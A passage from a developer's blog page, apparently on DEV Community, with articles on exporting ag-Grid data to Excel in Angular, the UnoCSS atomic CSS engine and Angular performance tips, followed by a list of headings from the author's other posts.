            fs.saveAs(blob, options.fileName);
        })
    }
}

This code defines an Angular service called ExcelService that has a method called exportToExcel(). This method takes in two arguments: gridOptions and options.

The gridOptions argument is an object that contains the ag-grid component's options, and the options argument is an object that contains various options for configuring the Excel export.

The exportToExcel() method first retrieves the rows of data from the ag-grid component using the api.getModel().getRow() method. It then maps this data to a new array called data.

Next, the method creates a new workbook and worksheet using the ExcelJS library. It then sets the columns of the worksheet using the columns property of the options argument.

The method then iterates through the data array and adds each row of data to the worksheet. If the valueGetter property is set for a column, the valueGetter function is used to get the value for that column. Otherwise, the value is retrieved from the key property of the column.

The method then sets the alignment for all rows in the worksheet to top and left, and sets the wrapText property to true. It also sets the header row's fill and font colors to black and white, respectively.

Finally, the method adds a filter to the header row and saves the file using the fs.saveAs() method.

To use this service in your component, pass the gridOptions and the option object like this:

 constructor(private excelService: ExcelService) {}

 exportExcel() {
    this.excelService.exportToExcel(this.gridOptions, {
      fileName: 'exported_data.xlsx',
      sheetName: 'My Data',
      columns: [
        {
          header: 'Column 1',
          key: 'col1', // field name here
          width: 50 // width of the column
        },
        {
          header: 'Column 2',
          key: 'col2',
          width: 50
        },
        {
          header: 'Column 3',
          key: 'col2',
          width: 50,
          valueGetter: (row:any) => {
            // you can use custom valueGetter
            // use it when you want to modify the row
            // for this example, the row is an array of objects
            let products = row.products
            let products_str = ''
            products.forEach((product, index) => {
              products_str += product.name
              if (index != products.length - 1) {
                products_str += '\n'
              }
            })
            return products_str
          }
        }
      ]
    });
  }

I hope this helps! Let me know if you have any questions.

UnoCSS: The instant on-demand Atomic CSS engine

Adem Kouki — Wed, 08 Feb 2023 05:31:33 +0000

What is UnoCSS?

UnoCSS is a modern CSS engine that's designed with flexibility and performance in mind. Unlike traditional CSS frameworks, UnoCSS focuses on providing the core functionalities of CSS through the use of presets. This allows developers to quickly and easily add style to their applications without sacrificing performance or flexibility.

At its core, UnoCSS is an atomic CSS engine. This means that it's built around the idea of creating small, reusable styles that can be combined to form complex designs. This allows for a high degree of customization and control over the look and feel of an application. With UnoCSS, developers can create styles for their applications without having to worry about the limitations of a rigid framework.

One of the key benefits of using UnoCSS is its focus on performance. The atomic nature of the engine means that styles are only loaded and applied when they're needed, which can help to significantly reduce the amount of time it takes for a page to load. Additionally, the lack of core utilities means that the CSS file size is kept to a minimum, which also helps to improve performance.

Another great feature of UnoCSS is its flexibility. With its modular design, developers can easily add or remove presets as needed. This allows for a high degree of customization and control over the look and feel of an application. Additionally, developers can easily create their own presets to add new functionalities to the engine.

What is Atomic CSS?

Atomic CSS is the approach to CSS architecture that favors small, single-purpose classes with names based on visual function.

Some might also call it Functional CSS, or CSS utilities. Basically, you can say an Atomic CSS framework is a collection of the CSS like these:

.mt-4 {
  margin-top: 1rem;
}
.mr-4 {
  margin-right: 1rem;
}
.text-center {
  text-align: center;
}

Bechmark

11/5/2021, 4:26:57 AM
1656 utilities | x50 runs (min build time)

none                              8.30 ms / delta.      0.00 ms
unocss       v0.4.15             13.58 ms / delta.      5.28 ms (x1.00)
windicss     v3.2.1             989.57 ms / delta.    981.27 ms (x185.94)
tailwindcss  v3.0.0-alpha.1    1290.96 ms / delta.   1282.66 ms (x243.05)

As you can see, UnoCSS is the fastest CSS framework in the benchmark. It's also the only framework that doesn't require a build step, which means that it's much faster to get started with.

How to use UnoCSS?

Let's suppose you use Vite as your build tool. You can install UnoCSS with the following command:

npm i -D unocss

// vite.config.ts
import UnoCSS from "unocss/vite";

export default {
  plugins: [
    UnoCSS({
      /* options */
    }),
  ],
};

and then add the following to your main entry file:

import "uno.css";

If you don't use Vite, you can read the documentation for other build tools.

Example

<div h-full text-center flex select-none all:transition-400>
  <div ma>
    <div
      text-5xl
      fw100
      animate-bounce-alt
      animate-count-infinite
      animate-duration-1s
    >
      UnoCSS
    </div>
    <div op30 text-lg fw300 m1>The instant on-demand Atomic CSS engine.</div>
    <div m2 flex justify-center text-2xl op30 hover="op80">
      <a
        i-carbon-logo-github
        text-inherit
        href="https://github.com/unocss/unocss"
        target="_blank"
      ></a>
    </div>
  </div>
</div>
<div absolute bottom-5 right-0 left-0 text-center op30 fw300>
  on-demand · instant · fully customizable
</div>

You can see the full example https://uno.antfu.me/play

Conclusion

UnoCSS is a great CSS framework that's designed with performance and flexibility in mind. It's also the fastest CSS framework in the benchmark. If you're looking for a CSS framework that's fast and easy to use, UnoCSS is a great choice. However, Tailwind is more popular and has a larger community... So it's up to you to decide which one to use.

Maximizing Performance in Angular Applications: Proven Tips and Techniques

Adem Kouki — Wed, 08 Feb 2023 05:31:32 +0000

Angular is a widely used TypeScript-based framework for building complex and feature-rich single-page applications.

In this article, we'll take a look at some of the best practices for optimizing performance in Angular applications.

0. Don't Use Angular (I'm an Angular Developer... Don't Kill Me)

I hate to say it, but if you're building a high-performance application, you should probably consider using a different framework. Angular is not the fastest framework out there...

If your app requires high performance, consider using a framework that is specifically designed for performance, such as Svelte, Vue, or React. If you insist on using Angular, you can still optimize your application by following the tips below...

1. Use Ahead-of-Time Compilation (AoT)

(This is the default starting in Angular 9+)

Ahead-of-Time (AoT) compilation is a process that compiles Angular applications at build time instead of at runtime. This results in faster application startup times and smaller bundle sizes. AoT compilation also improves security by preventing the execution of malicious code. To enable AoT compilation, add the following to your angular.json file:

"build": {
  "builder": "@angular-devkit/build-angular:browser",
  "options": {
    "aot": true
  }
}

Lazy Loading

Lazy loading is a technique that allows you to load modules on demand. This can improve performance by reducing the initial bundle size and only loading the modules that are needed for the current page. To enable lazy loading, add the following to your app-routing.module.ts file:

const routes: Routes = [
  {
    path: "lazy",
    loadChildren: () => import("./lazy/lazy.module").then((m) => m.LazyModule),
  },
];

3. Use the OnPush Change Detection Strategy

Angular uses a change detection strategy to determine when to update the view. The default change detection strategy is ChangeDetectionStrategy.Default, which checks for changes on every tick. This can be inefficient if the component doesn't need to be updated on every tick. The ChangeDetectionStrategy.OnPush strategy only checks for changes when the component's inputs change. This can improve performance by reducing the number of change detection cycles. To use the OnPush strategy, add the following to your component:

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css'],
  changeDetection: ChangeDetectionStrategy.OnPush // Add this line
})

4. Use the TrackBy Function

The TrackBy function is a function that allows you to track changes in a list of items. This can improve performance by reducing the number of change detection cycles. To use the TrackBy function, add the following to your component:

<ul>
  <li *ngFor="let item of items; trackBy: trackByFn">{{ item }}</li>
</ul>

trackByFn(index: number, item: any): number {
  return index;
}

5. Use the NgZone Service

The NgZone service is a service that allows you to run code outside of the Angular zone. This can improve performance by reducing the number of change detection cycles. To use the NgZone service, add the following to your component:

constructor(private ngZone: NgZone) {}

ngOnInit() {
  this.ngZone.runOutsideAngular(() => {
    // Run code outside of the Angular zone
  });
}

6. Unsubscribe from Observables

Observables are a common way to handle asynchronous operations in Angular applications. However, if you don't unsubscribe from observables, they can cause memory leaks. To unsubscribe from observables, add the following to your component:

ngOnInit() {
  this.subscription = this.observable.subscribe((value) => {
    // Do something with value
  });
}

ngOnDestroy() {
  this.subscription.unsubscribe();
}

7. Use the Async Pipe

The Async pipe is a pipe that allows you to subscribe to observables in your template. This can improve performance by reducing the number of change detection cycles. To use the Async pipe, add the following to your component:

<div *ngIf="observable | async as value">{{ value }}</div>

8. Angular Checklist

If you're building an Angular application, you can use the Angular Checklist to optimize your application. The Angular Checklist is a tool that analyzes your application and provides a list of optimizations that you can make.

Conclusion

I didn't talk about SSR (Server Side Rendering) in this article, but it's also a great way to improve performance in Angular applications. If you want to learn more about SSR, check out this article.

If you enjoyed this article, don't forget to share it with your friends and colleagues. If you have any questions or comments, feel free to leave them below.

DEV Community: Adem Kouki

use nemo : Custom Directives Library

TLDR

Inspiration

Installation

How to Use

Creating a Directive

Step 1: Create a directive handler

Step 2: Use the directive in your code

API Reference

DirectiveHandler

DirectiveContext

Helper Functions

injectCode(baseCode, injectionFn)

injectComment(baseCode, comment)

injectImport(baseCode, importStatement)

Example: useMeow Directive

How It Works

Tips

Best Practices

FlashFuzz ⚡Quick URL Fuzzing & Secret Scanning, straight from your browser

Demo

What it does

Why I built it

Install (developer / local install)

Basic usage

Key settings

Security & privacy

FAQ

Disclaimer

Contributing

Final notes

The Risk of Registry Injection Attacks with shadcn

📜 RepoList - A tool to generate wordlists based on GitHub repositories

The story behind Repolist

What is Repolist?

Options

Combining Repolist with other tools

How I made Repolist?

The code behind Repolist

Using Poetry to publish to PyPI

Rate limit and proxies

Conclusion

Ademking / repolist

Generate wordlists from Github repositories

RepoList - Generate Wordlists from GitHub Repositories

Table of Contents

Features

Let Your Jekyll Blog Speak for Itself: Implementing Speech Synthesis

What is Speech Synthesis?

How to add Speech Synthesis to your Jekyll blog

HTML

JavaScript

Conclusion

The Readability-Performance Paradox: My Experience as a Small Team Developer

TypeScript

Angular Performance Checklist

Observables and RxJS

Change Detection

Laravel Performance

Update Your Dependencies Regularly

SonarQube to the Rescue

Conclusion

Fixing Corrupted DOCX Files with PowerShell: A Step-by-Step Guide

Step 1: Install Microsoft Office

Step 2: The Script

Step 3: Run the Script

Step 4: Automate the Process

FREE Programming Cheat Sheets

Adding cmd-k for Quick Navigation

1) Import the Quick Search Library (Ninja-key)

2) Add the Search Bar

3) Add the Search Results

4) Add the search.js file to the end of the body of the default layout file

5) Test it out!

Export AG-Grid to Excel (without Enterprise version)

UnoCSS: The instant on-demand Atomic CSS engine

What is UnoCSS?

What is Atomic CSS?

Bechmark

`injectCode(baseCode, injectionFn)`

`injectComment(baseCode, comment)`

`injectImport(baseCode, importStatement)`